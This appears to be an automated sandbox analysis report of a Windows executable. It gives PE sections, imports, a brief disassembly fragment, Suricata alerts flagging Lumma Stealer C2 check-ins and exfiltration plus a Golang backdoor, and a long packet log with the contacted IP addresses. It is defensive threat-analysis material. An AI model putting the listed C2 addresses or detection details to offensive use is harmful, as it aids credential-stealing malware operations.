mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
mov edx, dword ptr [ecx]
mov eax, esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3bc000	0x3dc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3d1000	0x4e07	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3bd000	0x12e3c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3712e0	0xa0	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1b4805	0x1b4a00	a74e91892134e479e9381bba629ac424	False	0.4012662601989694	data	6.034666553474579	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b6000	0x1ba218	0x1ba400	cbe5d2517014480ed7a58f2d58d7b41d	False	0.49989787220887505	data	6.0741294751691814	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x371000	0x4a238	0x1c200	83874115515e747f5fc37ad8e0fb5d20	False	0.5106770833333333	data	5.605055770691357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x3bc000	0x3dc	0x400	9b972faccfd001450012473f76e2e70e	False	0.4892578125	data	4.665334753873026	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3bd000	0x12e3c	0x13000	acdb8f77c4de8c943b69f93e53a4692e	False	0.6315403988486842	data	6.653828562026495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x3d0000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x3d1000	0x4e07	0x5000	d0accd52b2d4ffd530e52f8bba0405f9	False	0.119873046875	data	2.6344762017065406	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3d1130	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.06790269248937175
RT_GROUP_ICON	0x3d5358	0x14	data			1.1
RT_VERSION	0x3d536c	0x348	data	English	United States	0.44642857142857145
RT_MANIFEST	0x3d56b4	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	Chinese	China	0.3957333333333333

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, PostQueuedCompletionStatus, LoadLibraryA, LoadLibraryW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetEnvironmentStringsW, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T21:42:26.858558+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T21:42:27.760183+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T21:42:27.760183+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T21:42:28.244249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T21:42:28.715895+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T21:42:28.715895+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T21:42:30.039239+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	188.114.97.3	443	TCP
2024-12-30T21:42:31.495200+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	188.114.97.3	443	TCP
2024-12-30T21:42:32.894993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	188.114.97.3	443	TCP
2024-12-30T21:42:34.450793+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	188.114.97.3	443	TCP
2024-12-30T21:42:34.893784+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	188.114.97.3	443	TCP
2024-12-30T21:42:35.897770+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	188.114.97.3	443	TCP
2024-12-30T21:42:35.902058+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49742	188.114.97.3	443	TCP
2024-12-30T21:42:38.696867+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	188.114.97.3	443	TCP
2024-12-30T21:42:39.166062+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-12-30T21:42:39.698349+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	84.32.84.20	443	TCP
2024-12-30T21:43:14.785322+0100	2855478	ETPRO MALWARE Unknown Golang Backdoor Activity	1	192.168.2.4	49848	46.8.232.106	30001	TCP
2024-12-30T21:43:15.442293+0100	2855539	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2	1	195.200.31.22	21428	192.168.2.4	49854	TCP
2024-12-30T21:43:15.442544+0100	2855536	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1	1	192.168.2.4	49854	195.200.31.22	21428	TCP
2024-12-30T21:43:44.909174+0100	2855537	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2	1	192.168.2.4	49854	195.200.31.22	21428	TCP
2024-12-30T21:43:45.233031+0100	2855538	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1	1	195.200.31.22	21428	192.168.2.4	49854	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 21:42:26.294254065 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:26.294306040 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:26.294591904 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:26.297996998 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:26.298010111 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:26.858468056 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:26.858557940 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:26.914161921 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:26.914177895 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:26.914421082 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:26.954839945 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.069668055 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.069721937 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.069820881 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:27.760195971 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:27.760286093 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:27.760384083 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.762193918 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.762219906 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:27.773829937 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.773860931 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:27.773996115 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.774262905 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:27.774276018 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.244174957 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.244249105 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.245451927 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.245460987 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.245687962 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.246833086 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.246850967 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.246897936 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.715894938 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.715943098 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.715974092 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.716007948 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.716023922 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.716042995 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.716056108 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.716217041 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.716258049 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.716260910 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.716274023 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.716315031 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.716624022 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.720520973 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.720550060 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.720572948 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.720577002 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.720587969 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.720628023 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.804183960 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.804261923 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.804292917 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.804308891 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.804326057 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.804369926 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.804374933 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.804462910 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.804886103 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.804898024 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:28.804912090 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:28.804917097 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:29.556982040 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:29.557020903 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:29.557310104 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:29.561479092 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:29.561491966 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.039127111 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.039238930 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.066201925 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.066220999 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.066442013 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.068692923 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.069713116 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.069744110 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.069966078 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.069972038 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.925216913 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.925303936 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:30.925378084 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.925548077 CET	49738	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:30.925565958 CET	443	49738	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:31.012809038 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.012852907 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:31.012922049 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.013284922 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.013302088 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:31.494936943 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:31.495199919 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.499166965 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.499180079 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:31.499433994 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:31.500672102 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.500672102 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:31.500710011 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.152971029 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.153091908 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.153728962 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.153728962 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.427198887 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.427243948 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.427335024 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.427660942 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.427674055 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.454844952 CET	49739	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.454879045 CET	443	49739	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.894783020 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.894993067 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.903304100 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.903318882 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.903585911 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.904871941 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.904995918 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.905025005 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:32.905093908 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:32.905102968 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:33.521377087 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:33.521483898 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:33.521573067 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:33.521689892 CET	49740	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:33.521708965 CET	443	49740	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:33.978239059 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:33.978298903 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:33.978406906 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:33.978734970 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:33.978755951 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.450714111 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.450793028 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:34.452069044 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:34.452086926 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.452315092 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.453526974 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:34.453618050 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:34.453629017 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.893789053 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.893893003 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:34.893999100 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:34.894169092 CET	49741	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:34.894191027 CET	443	49741	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.411962986 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.412019968 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.412106037 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.412398100 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.412411928 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.897686958 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.897769928 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.899205923 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.899215937 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.899506092 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.900701046 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.901657104 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.901681900 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.901787996 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.901814938 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.901952982 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.901992083 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.902235985 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.902259111 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.902432919 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.902462006 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.902638912 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.902666092 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.902674913 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.902688980 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.902856112 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.902880907 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.902911901 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.903053045 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.903093100 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.911791086 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.912132978 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.912184000 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:35.912220955 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.912267923 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.912359953 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:35.917171001 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.144994974 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.145093918 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.145174026 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.145402908 CET	49742	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.145422935 CET	443	49742	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.203887939 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.203933954 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.204098940 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.204571962 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.204585075 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.696784973 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.696866989 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.698427916 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.698440075 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.698679924 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:38.699902058 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.699932098 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:38.699970961 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:39.166042089 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:39.166140079 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:39.166223049 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:39.166527033 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:39.166546106 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:39.166565895 CET	49743	443	192.168.2.4	188.114.97.3
Dec 30, 2024 21:42:39.166572094 CET	443	49743	188.114.97.3	192.168.2.4
Dec 30, 2024 21:42:39.206000090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.206049919 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.206123114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.206454039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.206468105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.698271990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.698348999 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.700524092 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.700540066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.700789928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.702140093 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.743338108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807071924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807116032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807184935 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.807213068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807529926 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807563066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807589054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807607889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.807619095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.807642937 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.811784029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.811817884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.811829090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.811834097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.811886072 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.811891079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.812141895 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.812195063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.812201023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.861680984 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.895695925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.895759106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.895786047 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.895836115 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.895863056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.895915031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.895920038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896281004 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896315098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896326065 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.896331072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896370888 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.896759987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896819115 CET	443	49744	84.32.84.20	192.168.2.4
